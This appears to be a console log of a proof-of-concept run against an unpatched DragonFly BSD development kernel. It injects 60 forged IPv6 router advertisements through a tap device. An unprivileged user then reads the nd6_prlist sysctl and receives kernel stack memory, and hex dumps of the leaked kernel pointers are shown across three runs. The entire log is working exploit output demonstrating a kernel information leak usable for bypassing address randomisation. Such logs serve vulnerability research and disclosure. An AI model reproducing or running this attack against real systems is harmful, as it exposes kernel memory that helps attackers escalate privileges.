=== baseline run on kernel #0 (unpatched) ===
6.5-DEVELOPMENT
DragonFly 6.5-DEVELOPMENT #0: Thu Jul  2 06:02:54 UTC 2026

=== setup (root): tap0 + accept_rtadv ===
linkmtu=1500, curhlim=64, basereachable=30s0ms, reachable=32s, retrans=1s0ms
Flags: nud accept_rtadv auto_linklocal 
net.inet6.ip6.forwarding: 0 -> 0
net.inet6.ip6.accept_rtadv: 1 -> 1

=== inject 60 forged RAs (60 sources, 1 prefix) ===
pktlen=102
injected 60/60 RAs via /dev/tap0

=== unprivileged read (maxx) — decisive run ===
wrote 1968 bytes to /tmp/leak1.bin
sysctl net.inet6.icmp6.nd6_prlist returned 1968 bytes
-rw-r--r--  1 maxx  wheel  1968 Jul 18 03:25 /tmp/leak1.bin
TOTAL_BYTES_RETURNED=1968
NONZERO_PAST_OFFSET_1024=398

=== first 64 bytes past offset 1024 (the kernel stack leak) ===
           02  10  00  00  01  f8  ff  ff  18  78  0a  19  01  f8  ff  ff
           80  db  ef  17  01  f8  ff  ff  00  c1  c3  8d  00  f8  ff  ff
           d8  78  0a  19  01  f8  ff  ff  00  00  00  00  00  00  00  00
           f8  77  0a  19  01  f8  ff  ff  a8  3d  68  80  ff  ff  ff  ff

=== variance: 3 separate reads, leaked pointer set per run ===
run 1 first 32 leaked bytes:
wrote 1968 bytes to /tmp/lr1.bin
sysctl net.inet6.icmp6.nd6_prlist returned 1968 bytes
           02  10  00  00  01  f8  ff  ff  18  78  0a  19  01  f8  ff  ff
           80  db  ef  17  01  f8  ff  ff  00  c1  c3  8d  00  f8  ff  ff
wrote 1968 bytes to /tmp/lr2.bin
sysctl net.inet6.icmp6.nd6_prlist returned 1968 bytes
run 2 first 32 leaked bytes:
           02  10  00  00  01  f8  ff  ff  18  78  42  19  01  f8  ff  ff
           80  d1  ef  17  01  f8  ff  ff  00  21  5e  90  00  f8  ff  ff
wrote 1968 bytes to /tmp/lr3.bin
sysctl net.inet6.icmp6.nd6_prlist returned 1968 bytes
run 3 first 32 leaked bytes:
           02  10  00  00  01  f8  ff  ff  18  38  38  19  01  f8  ff  ff
           80  e5  e9  16  01  f8  ff  ff  00  07  10  8e  00  f8  ff  ff